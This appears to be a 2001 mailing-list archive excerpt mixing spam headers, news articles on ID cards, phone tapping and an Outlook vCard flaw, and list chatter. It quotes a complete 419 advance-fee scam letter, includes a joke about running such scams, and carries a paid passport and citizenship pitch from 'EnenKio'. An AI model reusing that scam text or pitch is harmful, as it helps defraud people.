This email is intended for people doing business on the Internet.
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From: cupid at adultfriendfinder.com (cupid at adultfriendfinder.com)
Date: 22 Feb 2001 23:24:21 -0800
Subject: Adult Friend Finder Cupid Report for oddodoodo
Message-ID: <20010223072421.22797.qmail@e81.friendfinder.com>


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From 1845 at autovia.co  Thu Feb 22 16:05:12 2001
From: 1845 at autovia.co (1845 at autovia.co)
Date: Fri, 23 Feb 2001 01:05:12 +0100
Subject: FAO: Adult Webmasters - Add Your Site Free
Message-ID: <200102230012.QAA24550@toad.com>



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From janis at moteride.net  Thu Feb 22 22:11:27 2001
From: janis at moteride.net (janis at moteride.net)
Date: Fri, 23 Feb 2001 01:11:27 -0500
Subject: Slots...Looser Than Your Girlfriend!!!!
Message-ID: <q2v40a1pnn8l5n0g5.8qr23oe8@widus.moteride.net>

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From libby335 at hotmail.com  Fri Feb 23 04:47:24 2001
From: libby335 at hotmail.com (sparky)
Date: Fri, 23 Feb 2001 06:47:24 -0600
Subject: VERY URGENT
In-Reply-To: <3A95502E.31707.1E1BE0B@localhost>
References: <20010222215455.51049.qmail@web12003.mail.yahoo.com>
Message-ID: <3A96077C.7654.8CA3A@localhost>


Goddamn it.. I mean to say "secretly AFRICAN".. Great, now I'm 
secretly racist, frickin great. Wonderful.. My apologies to anyone 
secretly or not so secretly offended at my poorly worded attempt at 
humor.

sparky


On 22 Feb 2001, at 17:45, sparky wrote:

> I'd like to help you, but I'm secretly black. Sorry.
> 
> On 22 Feb 2001, at 21:54, tonny ike wrote:
> 
> > CONTACT)
> >
> > TELEFAX: 234-42-254548
> >
> > ATTN: SIR,
> >
> > I HAVE THE COURAGE TO ASK YOU TO LOOK FOR A RELIABLE
> > AND HONEST PERSON WHO WILL BE CAPABLE FOR THIS
> > IMPORTANT BUSINESS BELIEVING THAT YOU WILL NEVER LET
> > ME DOWN EITHER NOW OR IN FUTURE.
> >
> > IAM DESMOND AJAEGBU,THE EASTERN DISTRICT BANK
> > MANAGER OF UNITED BANK FOR AFRICA PLC. (UBA). THERE IS
> > AN ACCOUNT OPENED IN THIS BANK IN 1980 AND SINCE 1990
> > NOBODY HAS OPERATED ON THIS ACCOUNT AGAIN. AFTER GOING
> > THROUGH SOME OLD FILES IN THE RECORDS I DISCOVERED
> > THAT IF I DO NOT REMITT THIS MONEY OUT URGENTLY IT
> > WILL BE FORFEITED FOR NOTHING.
> >
> > THE OWNER OF THIS ACCOUNT IS MR. SMITH B. ANDREAS, A
> > FOREIGNER, AND THE MANAGER OF PETRO - TECHNICAL
> > SUPPORT SERVICES, A CHEMICAL ENGINEER BY PROFESSION
> > AND  HE DIED SINCE 1990. NO OTHER PERSON KNOWS ABOUT
> > THIS ACCOUNT OR ANY THING CONCERNING IT, THE ACCOUNT
> > HAS NO OTHER BENEFICIARY AND MY INVESTIGATION PROVED
> > TO ME AS WELL THAT THIS COMPANY DOES NOT KNOW ANYTHING
> > ABOUT THIS ACCOUNT AND THE AMOUNT INVOLVED IS (USD 26
> > MILLION DOLLARS). I WANT TO TRANSFER THIS MONEY INTO A
> > SAFE FOREIGNERS ACCOUNT ABROAD BUT I DON'T KNOW ANY
> > FOREIGNER, I AM ONLY CONTACTING YOU AS A FOREIGNER
> > BECAUSE THIS MONEY CAN NOT BE APPROVED TO A LOCAL BANK
> > HERE, BUT CAN ONLY BE APPROVED TO ANY FOREIGN ACCOUNT
> > BECAUSE THE MONEY IS IN US DOLLARS AND THE FORMER
> > OWNER OF THE ACCOUNT IS MR. SMITH B. ANDREAS IS  A
> > FOREIGNER TOO.  I KNOW THAT THIS MASSAGE WILL COME TO
> > YOU AS A SURPRISE AS WE  DON'T KNOW OUR SELVES BEFORE,
> > BUT BE SURE THAT IT IS REAL AND A GENUINE BUSINESS. I
> > ONLY GOT YOUR CONTACT ADDRESS FROM THE COMPUTER ,WITH
> > BELIEVE IN GOD THAT YOU WILL NEVER LET ME DOWN IN THIS
> > BUSINESS YOU ARE THE ONLY PERSON THAT I HAVE CONTACTED
> > IN THIS BUSINESS, SO PLEASE REPLY URGENTLY SO THAT I
> > WILL INFORM YOU THE NEXT STEP TO TAKE URGENTLY.
> >
> > I WANT US TO SEE FACE TO FACE OR SIGN A BINDING
> > AGREEMENT TO BIND US TOGETHER SO THAT YOU CAN RECIEVE
> > THIS MONEY INTO A FORIEGN ACCOUNT OR ANY ACCOUNT OF
> > YOUR CHOICE WHERE THE FUND WILL BE REMMITTED.AND I
> > WILL FLY TO YOUR COUNTRY FOR WITHDRAWAL AND SHARING
> > AND OTHER INVESTMENTS.
> >
> >  I AM CONTACTING YOU BECAUSE OF THE NEED TO INVOLVE A
> > FOREIGNER WITH FOREIGN ACCOUNT AND FOREIGN
> > BENEFICIARY. I NEED YOUR CO-OPERATION TO MAKE THIS
> > WORK FINE. BECAUSE THE MANAGEMENT IS READY TO APPROVE
> > THIS PAYMENT TO ANY FOREIGNER WHO HAS CORRECT
> > INFORMATION OF THIS ACCOUNT, WHICH I WILL GIVE TO YOU
> > LATER IMMEDIATELY, IF YOU ARE ABLE AND WITH CAPABILITY
> > TO HANDLE SUCH AMOUNT IN STRICT CONFIDENCE AND TRUST
> > ACCORDING TO MY INSTRUCTIONS AND ADVICE FOR OUR MUTUAL
> > BENEFIT BECAUSE THIS OPPORTUNITY WILL NEVER COME AGAIN
> > IN MY LIFE. A NEED TRUTHFUL PERSON IN THIS BUSINESS
> > BECAUSE I DON'T WANT TO MAKE MISTAKE I NEED YOUR
> > STRONG ASSURANCE AND TRUST.
> >
> > WITH MY POSITION NOW IN THE OFFICE I CAN TRANSFER THIS
> > MONEY TO ANY FOREIGNERS RELIABLE ACCOUNT WHICH YOU CAN
> > PROVIDE WITH ASSURANCE THAT THIS MONEY WILL BE INTACT
> > PENDING MY PHYSICAL ARRIVAL IN YOUR COUNTRY FOR
> > SHARING. I WILL DESTROY ALL DOCUMENTS OF TRANSACTION
> > IMMEDIATELY WE RECIEVE THIS MONEY LEAVING NO TRACE TO
> > ANY PLACE. YOU CAN ALSO COME TO DISCUSS WITH ME FACE
> > TO FACE AFTER WHICH I WILL MAKE THIS REMITTANCE IN
> > YOUR PRESENCE AND TWO OF US WILL FLY TO YOUR COUNTRY
> > AT LEAST TWO DAYS AHEAD OF THE MONEY GOING INTO YOUR
> > ACCOUNT.
> >
> > I WILL APPLY FOR ANNUAL LEAVE TO GET VISA IMMEDIATELY
> > I HEAR FROM YOU THAT YOU ARE READY TO ACT AND RECEIVE
> > THIS FUND IN YOUR ACCOUNT. I WILL USE MY POSITION AND
> > INFLUENCE TO EFFECT LEGAL APPROVALS AND ONWARD
> > TRANSFER OF THIS MONEY TO YOUR ACCOUNT WITH
> > APPROPRIATE CLEARANCE FORMS OF THE MINISTRIES AND
> > FOREIGN EXCHANGE DEPARTMENTS.
> >
> > AT THE CONCLUSION OF THIS BUSINESS, YOU WILL BE GIVEN
> > 35% OF THE TOTAL AMOUNT, 60% WILL BE FOR ME, WHILE 5%
> > WILL BE FOR EXPENSES BOTH PARTIES MIGHT HAVE INCURED
> > DURING THE PROCESS OF TRANSFERING.
> >
> > I LOOK FORWARD TO YOUR EARLIEST REPLY BY FAX ONLY.
> > TELEFAX LINE: 234-42-254548.
> >
> > YOURS TRULY,
> > DESMOND,AJAEGBU
> >
> >
> >
> >
> > ____________________________________________________________
> > Do You Yahoo!?
> > Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk
> > or your free @yahoo.ie address at http://mail.yahoo.ie
> >
> 
> 





From envoyret at 1stnetmail.com  Fri Feb 23 07:06:08 2001
From: envoyret at 1stnetmail.com (Envoy Express)
Date: Fri, 23 Feb 2001 07:06:08 (GMT)
Subject: ADV: Did You Know. . .
Message-ID: <MAILERAQBv0d4Lm70Kn0005c582@mailer>

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From ravage at einstein.ssz.com  Fri Feb 23 05:17:54 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Fri, 23 Feb 2001 07:17:54 -0600
Subject: CNN.com - Sci-Tech - Internet company drops plan to sell data - February 23, 2001
Message-ID: <3A966302.F5499954@ssz.com>


http://www.cnn.com/2001/TECH/internet/02/23/kids.privacy.ap/index.html
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From drevil at sidereal.kz  Fri Feb 23 00:05:11 2001
From: drevil at sidereal.kz (drevil at sidereal.kz)
Date: 23 Feb 2001 08:05:11 -0000
Subject: VERY URGENT
In-Reply-To: <20010222215455.51049.qmail@web12003.mail.yahoo.com> (message
	from =?iso-8859-1?q?tonny=20ike?= on Thu, 22 Feb 2001 21:54:55 +0000
	(GMT))
References: <20010222215455.51049.qmail@web12003.mail.yahoo.com>
Message-ID: <20010223080511.1375.qmail@mailhost.sidereal.kz>



These 419 scams must be great.  Sometimes it's tempting to run one of
them.




From bf at farc.org  Fri Feb 23 09:17:56 2001
From: bf at farc.org (Blank Frank)
Date: Fri, 23 Feb 2001 09:17:56 -0800
Subject: mandatory state ID cards & constitutionality of prof licensing
Message-ID: <3A969B42.C25DA8A0@farc.org>


Workplace Anger Over Police Screenings
                                               ID and fingerprint
requirements for Anaheim alcohol
                                            establishments disturb
employees, union and legal experts.

                                            By KIMI YOSHINO, Times Staff
Writer


                                                 Anaheim police are
under fire for requiring bartenders, janitors
                                            and other employees of
alcohol-selling establishments to carry
                                            city-issued identification
cards as well as provide officers with
                                            fingerprints and personal
information.
                                                 A city ordinance
requiring the ID cards has been on the books
                                            since 1965. But officials
said an influx of new jobs--many related to
                                            Disney's resort
expansion--has prompted them to "re-educate" area
                                            businesses about the rules.
                                                 The ordinance requires
employees to complete an application
                                            asking about their
citizenship and arrest history, and whether they
                                            have any marks or scars. The
employees are also fingerprinted and
                                            photographed at the Police
Department.
                                                 The policy is unusual.
The Los Angeles Police Department and
                                            several other large
departments, including those in Long Beach and
                                            Huntington Beach, said they
don't require workers to hold ID cards
                                            or keep files on them.
                                                 Union officials said
they didn't know about the law until a few
                                            weeks ago, when they began
getting complaints from workers, who
                                            decried the requirements as
unfair and a violation of their rights.
                                                 "Why do we need an ID
card to sell a glass of chardonnay?"
                                            said Alastair Baird, 36, an
employee at Disneyland's exclusive Club
                                            33 who said he was frisked
by police officers before being
                                            fingerprinted at the jail.
"I'm just a waiter, and it felt like a criminal
                                            process."
                                                 An attorney for the
Hotel Employees and Restaurant Employees
                                            International Union has
asked the Anaheim City Council to rescind
                                            the ordinance at its meeting
next Tuesday and was joined by other
                                            groups in denouncing the ID
cards.
                                                 "It gives police
unbridled discretion to crack down on people
                                            they don't like," said Dan
Tokaji, a staff attorney with the American
                                            Civil Liberties Union of
Southern California. "This is not a police
                                            state. . . . You don't have
to have an identification card to live,
                                            work and enjoy the benefits
of freedom in our country."
                                                 Those who do not have
the laminated ID card are guilty of a
                                            misdemeanor and could be
fined. In addition, some employers have
                                            threatened to fire workers
who do not have the card, said union
                                            spokesman John Earl.
                                                 Police deny that they
are attempting to gather intelligence and
                                            emphasized that the
information will simply be kept on file in case it
                                            is needed as part of a
criminal investigation.
                                                 "Right now, it is our
belief that the ordinance is legal and
                                            constitutional, but the city
attorney's office is reviewing it to look
                                            into whatever issues are
being expressed," Sgt. Rick Martinez said.
                                                 Police run a warrants
check on those required to hold ID cards
                                            but do not conduct fuller
background investigations, he added. The
                                            information is not passed on
to employers or immigration
                                            authorities.
                                                 "We are very sensitive
to the INS issues in this city," Martinez
                                            said. "None of this would
ever go to INS. Our chief is very
                                            adamant about this. This has
nothing to do with citizenship status."
                                                 Baird, the waiter at
the Disneyland club, said he understands
                                            that the officers who took
his mug shot and fingerprinted him were
                                            only doing their jobs, but
he believes the ordinance is "over the
                                            top."
                                                 When he told his
co-worker, Carolyn Pelcak, about the
                                            application process, she
reported it to union officials. Many
                                            employees have decided not
to get ID cards until the issue is
                                            resolved with the city.
                                                 Other establishments in
Anaheim said the police have visited
                                            them regarding the ID cards
in recent years. Employees at
                                            Linbrook Bowl said police
cracked down on them in 1998. Though
                                            the bowling alley has been
open for more than 40 years, managers
                                            said they were unaware of
the rules until police showed up
                                            demanding to see ID cards.
                                                                    * *
*
                                                 When the employees
could not produce them, police issued
                                            them citations. The bowling
alley's bar was also shut down for the
                                            night, manager John Haveles
said. Ever since then, the ID cards
                                            have become a condition of
employment.
                                                 "We don't agree with
it, but we're complying," Haveles said.
                                                 Francesca Denatale, a
bartender at the bowling alley, said she
                                            paid a fine of about $75.
                                                 "I think it's
discriminatory that the field I work in has to be
                                            subjected to that," she
said.
                                                 University of Southern
California professor Erwin Chemerinsky,
                                            who specializes in
constitutional law, said it may be difficult to
                                            overturn the ordinance
because government is typically given great
                                            latitude in requiring
professional licenses.
                                                 "I think the legal
challenge to some of it will be difficult, but I am
                                            very troubled by this
because it really is an invasion of privacy,"
                                            Chemerinsky said.

http://www.latimes.com/editions/orange/20010223/t000016208.html




From ptrei at rsasecurity.com  Fri Feb 23 06:45:43 2001
From: ptrei at rsasecurity.com (Trei, Peter)
Date: Fri, 23 Feb 2001 09:45:43 -0500
Subject: Centre for Hypersonics - HyShot Scramjet Test Programme
Message-ID: <F504A8CEE925D411AF4A00508B8BE90A91EBC1@exna07.securitydynam
  ics.com>


I'll speculate that Jim posted this as a demo that 'amateur' rocketry
can reach orbit. If you read the article, you'll find it does nothing of
the kind. This is suborbital - in fact, the rocket goes almost 350km
straight up and down (they're testing scramjet configurations during
re-entry).

The highest speed reached on the way up is 8300km/hr, which is
about 2.3 km/sec. The shuttle at 300 km (a typical height) is going
7.73 km/sec, over 3 times as fast. This sounding rocket goes a
little higher, but it can't stay there, and is nowhere near being in
orbit.

As to range safety, it's worth noting that the Israelis have launched at
least one satellite. They were so worried about the reaction of their
neighbours that they launched it over the Mediterranean into a retrograde
orbit. That way, a launch phase failure would be more likely to hit water,
and  the contries overflown were less likely to be interprete the launch as
an attack.

When the Norwegians unexpectedly launched a small rocket over 
Russia a few years ago, it got to the point of Yeltsin having his 
'football' open, with keys inserted ready to send the retaliation 
command before it was determined to be harmless.

Peter


> ----------
> From: 	Jim Choate[SMTP:ravage at einstein.ssz.com]
> Reply To: 	Jim Choate
> Sent: 	Thursday, February 22, 2001 5:59 PM
> To: 	hell at einstein.ssz.com; cypherpunks at einstein.ssz.com;
> rpv-uav at einstein.ssz.com; sci-tech at einstein.ssz.com
> Subject: 	Centre for Hypersonics - HyShot Scramjet Test Programme
> 
> http://www.mech.uq.edu.au/hyper/hyshot/
> -- 
>     ____________________________________________________________________
> 
>            Before a larger group can see the virtue of an idea, a
>            smaller group must first understand it.
> 
>                                            "Stranger Suns"
>                                            George Zebrowski
> 
>        The Armadillo Group       ,::////;::-.          James Choate
>        Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
>        www.ssz.com            .',  ||||    `/( e\      512-451-7087
>                            -====~~mm-'`-```-mm --'-
>     --------------------------------------------------------------------




From ptrei at rsasecurity.com  Fri Feb 23 06:45:43 2001
From: ptrei at rsasecurity.com (Trei, Peter)
Date: Fri, 23 Feb 2001 09:45:43 -0500
Subject: Centre for Hypersonics - HyShot Scramjet Test Programme
Message-ID: <F504A8CEE925D411AF4A00508B8BE90A91EBC1@exna07.securitydynamics.com>


I'll speculate that Jim posted this as a demo that 'amateur' rocketry
can reach orbit. If you read the article, you'll find it does nothing of
the kind. This is suborbital - in fact, the rocket goes almost 350km
straight up and down (they're testing scramjet configurations during
re-entry).

The highest speed reached on the way up is 8300km/hr, which is
about 2.3 km/sec. The shuttle at 300 km (a typical height) is going
7.73 km/sec, over 3 times as fast. This sounding rocket goes a
little higher, but it can't stay there, and is nowhere near being in
orbit.

As to range safety, it's worth noting that the Israelis have launched at
least one satellite. They were so worried about the reaction of their
neighbours that they launched it over the Mediterranean into a retrograde
orbit. That way, a launch phase failure would be more likely to hit water,
and  the contries overflown were less likely to be interprete the launch as
an attack.

When the Norwegians unexpectedly launched a small rocket over 
Russia a few years ago, it got to the point of Yeltsin having his 
'football' open, with keys inserted ready to send the retaliation 
command before it was determined to be harmless.

Peter


> ----------
> From: 	Jim Choate[SMTP:ravage at einstein.ssz.com]
> Reply To: 	Jim Choate
> Sent: 	Thursday, February 22, 2001 5:59 PM
> To: 	hell at einstein.ssz.com; cypherpunks at einstein.ssz.com;
> rpv-uav at einstein.ssz.com; sci-tech at einstein.ssz.com
> Subject: 	Centre for Hypersonics - HyShot Scramjet Test Programme
> 
> http://www.mech.uq.edu.au/hyper/hyshot/
> -- 
>     ____________________________________________________________________
> 
>            Before a larger group can see the virtue of an idea, a
>            smaller group must first understand it.
> 
>                                            "Stranger Suns"
>                                            George Zebrowski
> 
>        The Armadillo Group       ,::////;::-.          James Choate
>        Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
>        www.ssz.com            .',  ||||    `/( e\      512-451-7087
>                            -====~~mm-'`-```-mm --'-
>     --------------------------------------------------------------------
> 




From bfk at mindspring.com  Fri Feb 23 09:58:24 2001
From: bfk at mindspring.com (Blank Frank)
Date: Fri, 23 Feb 2001 09:58:24 -0800
Subject: NZ gets CALEA
Message-ID: <3A96A4BF.94FACF45@mindspring.com>


    http://www.stuff.co.nz/inl/index/0,1008,662392a1896,FF.html




                  Police to pay Vodafone $1m to
                  tap criminals
                  22 FEBRUARY 2001

                  Vodafone customers will no longer escape
                  surveillance after police complete a deal with the
                  mobile phone company that will allow them to tap
                  into digital phones.

                  It was revealed yesterday that police sought $1.1
                  million from the Government to pay Vodafone to help
                  them track calls.

                  Communications Minister Paul Swain said last night
                  that police had already been allocated the money for
                  the deal, expected to be completed in a few weeks.

                  The Crimes Act allows police to intercept all phone
                  calls, but police cannot decode the Vodafone digital
                  network, which uses encryption technology.

                  Mr Swain said New Zealand lagged behind other
                  countries that made it compulsory for all
                  telecommunications companies to be able to be
                  intercepted by police.

                  Policy considerations were being examined that would
                  make it compulsory for all telecommunications
                  providers to use networks that could be intercepted by

                  police.

                  "This would mean that if new telecommunications
                  companies came on the scene they would have to fit
                  the bill if they were using a network that could not
be
                  intercepted," Mr Swain said.

                  Police Association president Greg O'Connor questioned
                  yesterday why police should have to pick up the bill
for
                  the cost.

                  "In the United States and in Australia, the providers
                  have to provide access to the police and other
agencies
                  to be able to tap phones," Mr O'Connor said.

                  "In New Zealand it doesn't happen. In New Zealand
                  the telecommunications companies are creaming it off
                  police."

                  An amendment to the Crimes Act already allowed
                  police to intercept electronic communications,
however,
                  police needed to produce and enforce search warrants
                  in order to get information from phone companies.

                  According to police papers, last year police also paid

                  Telecom to enable them to tap their phones.

                  The issue was similar to one raised last year about a
                  $250,000 annual bill police received from Vodafone for

                  doing searches. "The reason we (the association)
didn't
                  talk about tapping digital phones until now was
                  because we didn't want to alert the criminals to the
                  fact that we couldn't do it," Mr O'Connor said.

                  Police national crime manager Bill Bishop said police
                  were still discussing possible legislation with
                  government. Police would not comment on their ability
                  to intercept electronic communications.

Tentacle Chronicles




From bfk at mindspring.com  Fri Feb 23 11:03:05 2001
From: bfk at mindspring.com (Blank Frank)
Date: Fri, 23 Feb 2001 11:03:05 -0800
Subject: More buffer fun with e-bizcards this time
Message-ID: <3A96B3E9.99FE9575@mindspring.com>


    http://wired.com/news/technology/0,1282,41994,00.html
Beware Those Insidious Vcards
           by Michelle Delio

           10:00 a.m. Feb. 23, 2001 PST


           Those little virtual business cards that some people attach
to their
           e-mails might be dangerous.

           Microsoft announced Friday that a flaw in its Outlook e-mail
program
           allows crackers to crash or remotely control computers and
entire
           networks, via virtual business cards (Vcards) that harbor
malicious
           code.

    Vcards containing malformed data can cause any
                           action of the attacker's choice to run on the

                           recipient's machine or a network when a
hapless
                           recipient opens them. They can add, change or

                           delete data, communicate with websites,
reformat a
                           hard drive, and more.

                           The flaw is located in the segment of the
Outlook
                           program that processes Vcards. Microsoft says

                           damage would be limited only by the security
                           permissions a user has set on his or her
machine.

                           "Since most people, especially those who
aren't
                           backed by a decent security department,
typically
                           leave their machines wide open to any
security
                           breaches, I'd say there's a lot of fun to be
had
                           here," said Andrew Antipass, a security
consultant
                           for TechServe.

                           Ollie Whitehouse, managing security architect
at
                           @Stake is credited for discovering the flaw,
which
                           Whitehouse reported to Microsoft in November
                           2000.

                           "Microsoft's reaction, as always in these
matters,
                           was professional. We worked with them to help

                           them replicate the vulnerability. They in
turn
                           developed a patch which they sent to us for
testing;
                           additionally they coordinated with us the
release of
                           their advisory and our own," Whitehouse said.

                           Typically, when a flaw is discovered that is
not
                           widely known and therefore doesn't seem to be
an
                           immediate threat, the software company and
the
                           discoverer of the flaw will avoid making
official
                           announcements until a patch has been
developed.

                           Once the announcement has been made, it is
crucial
                           for users to apply the patch, as attackers
would then
                           be aware of the flaw and will seek to exploit
it.

                           Microsoft has released a patch and advises
anyone
                           who uses Outlook to download and install the
patch
                           immediately.

                           Whitehouse said that this particular
programming
                           flaw is not uncommon in Microsoft's products.

                           Atstake has discovered a number of similar
                           vulnerabilities in Microsoft products from
Powerpoint
                           to Media Player.

                           Outlook 97 and 2000 and Outlook Express 5.01
and
                           5.5 contain the "Unchecked Buffer" flaw. An
attacker
                           can exploit the flaw by creating a Vcard, and
then
                           altering it with a hexadecimal editor to
include a
                           long string of data.

                           Normally, when a program's buffer is overrun
with
                           random data, the application would simply
lock up
                           or crash. But due to that flaw in Outlook's
buffer,
                           flooding it with data by way of a Vcard can
                           magically transform the e-mail program into a

                           compliant slave of the cracker, allowing him
or her
                           to make Outlook act as a sort of remote
control over
                           the affected machine.

                           If a vicious Vcard were opened on a machine
whose
                           user was connected to an unsecured network,
or if
                           the affected machine were configured to allow
it
                           control over a network, the attacker could
control
                           anything that is connected to that network.

                           Essentially, the attacker would be a ghost in
the
                           machine, with all the rights and privileges
that
                           machine's user has.

                           The card does have to be opened to be
effective,
                           said Microsoft, and there is no way that it
can be
                           coded to open automatically.

                           "So the attacker would need to entice the
recipient
                           into opening the mail, then opening the
Vcard,"
                           Microsoft said in its security bulletin.

                           Unfortunately, given the wide and fast spread
of
                           recent viruses like Anna and the Love Bug, it
doesn't
                           take much enticing to get computer users to
open
                           and click on attachments.

                           And "for reasons that are beyond my mortal
abilities
                           to figure out," many people don't consider
Vcards to
                           be an attachment, said Antipass.

                           Microsoft plans to issue a full security
bulletin on the
                           Vcard problem late Friday.




From enenkio at webtv.net  Fri Feb 23 13:31:29 2001
From: enenkio at webtv.net (Robert Moore)
Date: Fri, 23 Feb 2001 11:31:29 -1000 (HST)
Subject: The Kingdom of EnenKio  - Economic Citizenship Program
	=?ISO-8859-1?Q?-=A0__EnenKio?= 
Message-ID: <28362-3A96D6B1-1121@storefull-616.iap.bryant.webtv.net>


The Kingdom of EnenKio
- Economic Citizenship Program - 
EnenKio is an English-speaking sovereign independent nation in the North
Pacific Ocean. As such, it is not a well-known economic and financial
sanctuary, but with the prospect of attracting qualified professionals
in every field of endeavor, it has a growing international financial
sector.
General Considerations
The Government of EnenKio operates an Economic Citizenship Program
(ECP), which allows the grant of citizenship to individuals of good
character who make a significant contribution to the growth and economy
of EnenKio. This is aimed at stimulating inward investment and
harnessing managerial and entrepreneurial skills to help the country's
development. EnenKio law provides the fundamental basis for the
operation of the ECP. This was made possible through the EnenKio
Constitution.
In 1995, the EnenKio Development Act was passed into law to provide as
follows:
"The establishment of citizenship in the Kingdom shall be by mutual
consent. The possession of citizenship in any other jurisdiction shall
not prejudice establishment of citizenship in the Kingdom, provided that
any pronouncement of allegiance required by any other nation, shall not
be in conflict with any required citizens of the Kingdom."
See: Legal Opinion 
Qualifying factors
Every Applicant is a  qualified citizen if:
- born unto a parent who is, prior to birth, a citizen; or,
- born within any jurisdiction of the Kingdom; or,
- a citizen or resident of the Marshall Islands; or,
- a person of Marshallese ancestry; or
- married to a citizen, or one qualified as a citizen.
Other Applicants for citizenship are invited to apply and shall qualify
to become a  naturalized citizen if they:
- have attained an age of five (5) years; and,
- submit a completed passport application; and,
- successfully pass security and proof of identity checks; and,
- enclose 4 color photographs, one signed on right side margin; and,
- have proffered allegiance to the Kingdom by signing oath; and,
- have been accepted as a member of  Kio Royale and remain such in good
standing; or,
- receive a grant of citizenship on economic, hardship or other valid
government program.
Any applicant who is becomes eligible or is granted citizenship under
the ECP shall be entitled to receive benefits that pertain to the
particular option(s) selected. Certain Applicants, by reason of
political affiliation, business activity, professional exploits,
occupational achievements or other personal history, having become
ineligible for citizenship in the country of origin thereby, may become
eligible under a special administrative amnesty policy and would be
evaluated on a case-by-case basis. Passports and other documents issued
under the ECP generally have limited terms, but may be converted to
regular permanent terms after two years. A committee within the EnenKio
Ministry of Foreign Affairs carefully screens prospective applicants for
ECP options.
Program Options
Kio Royale Membership  Active members of this private independent
service-oriented advocacy group support the efforts of the government of
EnenKio in its mission to assist persons of Marshallese ancestry to
regain occupation and jurisdiction over the lands and seas of Eneen-Kio
Atoll and protect their natural rights to self-determination. There are
4 categories of membership with Initiation fees ranging from $500 to
$10,000. An active service requirement term applies to 3 categories.
Annual dues range from $50 to $100. Benefits include Membership
certificate, eligibility of single or family citizenship grant,
Diplomatic Service Corps certificate and waiver of Active Service
Requirement term. Payment can be accepted in equivalent amount of any
internationally traded currency. Application Form 
Credit Trust Account  Individuals of good character who want to make
a loan to the government of EnenKio may contact the Ministry of Foreign
Affairs. Loans can be made in any internationally traded currency, in
precious metals or another agreed form.  Some restrictions pertaining
to jurisdiction of lender's origin or domicile may apply.  Such
restrictions and domain considerations are the sole responsibility of a
lender to verify legality of any EnenKio loan, barter or payment
program.
Land Lease Program  Individuals of good character who desire or 
intend to establish, settle or maintain a residence in the North Pacific
Islands may do so by becoming a leaseholder with interests in the
Northern Ratak atolls under ascendancy of His Majesty King Remios of the
Kingdom of EnenKio. Upon execution of such a lease, application fees for
EnenKio citizenship are waived. The government of EnenKio will sponsor
leaseholders (as EnenKio citizens) to apply for an Immigration Visa from
the Republic of the Marshall Islands (RMI). Meeting RMI requirements for
residency and otherwise will lead to Marshall Islands citizenship. By
this process individuals or families can gain full citizenship and gain
the right to work or do business in EnenKio and the Marshall Islands.
Amnesty Program  This program is reserved for individuals and
families who have become "stateless" refugees and are without
citizenship elsewhere. Provisions are generally the same as those of the
Kio Royale or Credit Trust Account program, but entail a waiver of the
active service requirement. In this way, refugees or stateless persons
of good character may be obtain permanent citizenship immediately.
Active Service Requirement (ASR)
When an "active service requirement" term applies, it affords the
parties an opportunity to verify the terms of the relationship in lieu
of the residency requirement commonly imposed by other states. Islands
of Eneen-Kio Atoll are currently being held under force of arms by
occupation forces of the United States, so residency there is not
possible. For those wanting to physically relocate to the islands, the
Land Lease Program is your best alternative. The current ASR term in
effect is 24 months. What this means is that your passport will look
like a regular EnenKio passport, but will have an expiration date of
approximately 2 years after issuance. Within 2 months of expiration, ASR
passport holders will need to re-apply for "permanent resident" status.
Upon approval, a regular 5-year passport will be issued.
Reasons to acquire a second citizenship
to establish a legal domicile 
to protect assets and income from oppressive taxation, creditors,
judgments or litigation.
to simplify travel to countries restricted under current citizenship.
to avoid persecution on religious, ethnic or political grounds.
to immigrate to a democratic peace-loving country such as EnenKio.
to find a stable country where substantial investments can be made.
Multi-national policy
EnenKio recognizes multi-national citizenship so individuals who benefit
under this program can retain their original citizenship if needed.
Individuals approved under this program enjoy all rights, privileges and
diplomatic protection as bona fide citizens of the Kingdom of EnenKio.
How to apply under the Economic Citizenship Program
Applicants choose an option and contact a consulate or the Ministry of
Foreign Affairs central office. Any amounts to be paid or loaned to the
government are made payable to the  Kingdom of EnenKio in any
internationally traded currency equivalent to the US dollar amounts
published. In addition, fees may be payable to licensed and bonded
immigration consultants who will accept applications and submit them to
EnenKio Ministry of Foreign Affairs for processing on behalf of the
applicant.
Reasons you may consider a second passport
Political instability in your country of origin makes travel on your
current passport difficult.
Your assets are vulnerable to loss, attachment or litigation.
You and your business are overburdened by taxation.
Your basic human right to travel is restricted.
You are not allowed to work or settle in another country.
Your life or business is threatened by your country's political or
economic situation.
Your religious or political beliefs are subject to persecution.
Fees
There are no Registration or Investment Fees. The payment of monies
represents payment for membership, consideration under contract,
document application processing, handling costs or fiscal loan amounts.
These amounts represent an applicant's commitment to the Kingdom of
EnenKio. Grant of citizenship represents the Kingdom of EnenKio's
commitment to an applicant.
All monies are paid directly to the Kingdom of EnenKio. Any fees to
cover costs of processing, legal charges and consulting is negotiated
with and payable to the Immigration Consultant if employed. Applications
under this program may be made through a licensed Immigration Consultant
or the Ministry of Foreign Affairs. Applicants do not need to visit or
reside in EnenKio. They can be sworn in at any EnenKio Delegation or
Consular office found in many parts of the world including the Americas,
Europe and the Middle East.
Advantages
EnenKio offers significant advantages over other programs offered by
other countries:
it is a small independent state with His Majesty King Remios as its head
of state, who is the ancestral head of about one-third of the atolls of
the Marshall Islands. 
the government is still small and is building new trading partners all
over the world. 
citizens can access certain unique financial trust services
enjoy a tax-free status for personal and business ventures
have the flexibility and dependability of a friendly political system
founded on principles similar to those of the original framers of the
constitution of the United States of America and Bill of Rights.
the islands are unspoiled, warm, pristine and blessed with normally
perfect weather.
every citizen can play a part in the development of the political,
social and economic order.
EnenKio has no outstanding unsatisfied obligations.
(Updated 10/23/2000)
home | welcome | mission | what's new | introduction | present status |
geography | history | contact us
development plan | documents | official acts | news releases | links |
photos | disclaimer | involvement
 

Robert Moore, Minister Plenipotentiary, Kingdom of EnenKio Foreign Trade
Mission
DO-MO-CO Manager, Remios Hermios Eleemosynary Trust, Majuro, Marshall
Islands
http://www.enenkio.org




From bfk at mindspring.com  Fri Feb 23 11:38:21 2001
